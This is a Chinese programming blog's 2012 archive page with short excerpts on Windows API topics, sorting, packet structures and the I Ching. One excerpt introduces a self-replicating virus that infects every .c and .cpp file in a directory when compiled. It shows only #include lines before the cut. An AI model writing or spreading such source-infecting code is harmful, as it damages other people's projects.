现在位置: 首页 > 所有2012年发表的文章
    《周易》一书分为《易经》、《易传》两大部分。 《经》乃筮之书,编于殷周之际,为上古丞史文化的遗存;《传》乃战国中后期作品,为自成体系的哲学著作,反映新兴封建阶级的世界观。     上古的人很迷信各种各样的占卜术,其中最崇信的是两种,一种是用龟甲为材料的“卜”,一种是用蓍草为材料的“筮”。《周礼·春官·筮人》里就说:“凡国之大事,先筮而后卜。”其实,在上古大事小事都要筮、卜,...
阅读全文
现在计算机就像买白菜一样,规格各异。有时候需要检测电脑的屏幕大小,以适应软件的需求。现总结如下,欢迎大家添加,一是增张我的见识,二是方便大家查询。   1.使用GetSystemMetrics()函数:如: int   cx   =   GetSystemMetrics(SM_CXFULLSCREEN); //得到宽度 int   cy   =   GetSystemMetrics(SM_CYFULLSCREEN); //得到高度 注意SM_CXSCREEN...
阅读全文
2012-08-20 06:45 工业·编程 ⁄ 共 3374字 暂无评论
主要是感染C/C++源文件只要编译该段源程序就会使当前目录里的所有.c和.cpp文件感染上病毒,当然如果是没有主函数的源文件就没有作用:思想很简单:插入一段复制自身的代码,而这段代码是将自身的病毒部分传播给同目录下的其它文件。 程序清单: 1.病毒文件 //START #include <windows.h> #include <fstream> #include <string> #include <iostream> using namespace std; //...
阅读全文
2012-08-20 06:45 工业·编程 ⁄ 共 2471字 暂无评论
冒泡排序又称起泡排序,这是一种简单效率最低的排序,也是大家非常熟悉。 下面看看,冒泡排序的是怎样工作: 我认为这种排序分为两两种:向上冒泡和向下冒泡: 一,向上冒泡:也就满足条件的向上冒泡,看一组数9 8 6 7 4 (假设是从小到大排序,反之一样) 因为是向上冒泡也就小的数往前走。 第一躺:4 9 8 6 7 第二躺:4 6 9 8 7 第三躺:4 6 7 9 8 第四躺:4 6 7 8 9 每一躺是把相邻的数比较,以第一躺为...
阅读全文
//================================================ //文件名:MNetWorkPKT.h //常见的网络数据包的数据结构 //================================================ #ifndef _NETWORK_PACKET_H #define _NETWORD_PACKET_H #pragma once //地址定义 //================================================ //IP地址定义 typedef struct _ip_addr { unsigned char ucByte1; unsigned char uc...
阅读全文
2012-08-20 06:41 工业·编程 ⁄ 共 2434字 暂无评论
Bin Dec Hex 缩写/字符 解释 00000000 0 00 NUL(null) 空字符 00000001 1 01 SOH(start of headling) 标题开始 00000010 2 02 STX (start of text) 正文开始 00000011 3 03 ETX (end of text) 正文结束 00000100 4 04 EOT (end of transmission) 传输结束 00000101 5 05 ENQ (enquiry) 请求 00000110 6 06 ACK (acknowledge) ...
阅读全文
2012-08-20 06:37 工业·编程 ⁄ 共 2287字 暂无评论
有人说不要重新发明轮子,诚然,我同意这种说法,作为运行在Windows上的用户级程序均构架在Windows API之上。如果你了解或者深究Windows API,那么你写来的程序更易找到BUG,运行效率更高,前言,我只说到这。 【准备知识】 DC:(Device Context)设备上下文,对于一个有效的窗口而言,它将会有一个DC,它的作用很简单,说比如说,要画一幅图,DC就好比你作图的工具,里面保存了画笔、画刷等等信息,只是有这些信息,我们就...
阅读全文
2012-08-20 06:35 工业·编程 ⁄ 共 2834字 暂无评论
【前言】 看了网上的一篇《关于WM_NCCALCSIZE消息处理详解(原帖由niesongsong发表)》 的文章,正好自己正在写换肤程序,用了以后发现了一些问题,特贡献出来供 大家参考学习! 【问题】 主要问题是原作者把处理后的NCCALCSIZE_PARAMS结构搞错了。借鉴 MSDN中的CWnd::OnNcCalcSize 函数注释,其原文如下: afx_msg void OnNcCalcSize( BOOL bCalcValidRects, NCCALCSIZE_PARAMS* lpncsp ); Parameters bCalcValidRects Specifi...
阅读全文
2012-08-20 06:34 工业·编程 ⁄ 共 722字 暂无评论
在很多的时候,希望自己的软件在整个窗口运行,以利用资源和显示清楚,方便用户。先将软件全屏显示的方法总结如下: 1. 最简单的方式:ShowWindow(m_hWnd, SW_SHOWMAXIMIZEDE); 2. 发送消息法:PostMessage(hWnd,WM_SYSCOMMAND,SC_MAXIMIZE,0); 3. 在PreCreateWindow(CREATESTRUCT& cs)函数中添加:      {          //...    &...
阅读全文
2012-08-20 06:30 工业·编程 ⁄ 共 2178字 暂无评论
    要实现窗口(如菜单、按钮、主背景等)背景颜色的多样化,有很多种实现方法,其中颜色渐变就是一种比较常见的方法。它简单实用,即改变了窗口背景颜色的单调,又实现简单。主要方法有很多种,各有各的算法和特点。我在此给大家介绍3种比较简单的方法,且是2种颜色之间的渐变。 1.自绘法:首先获取两种颜色的R、G、B分量的差值,然后获取显示区域的距离,用R、G、B值除以区域的距离获得每一个像素点R、G、B...
阅读全文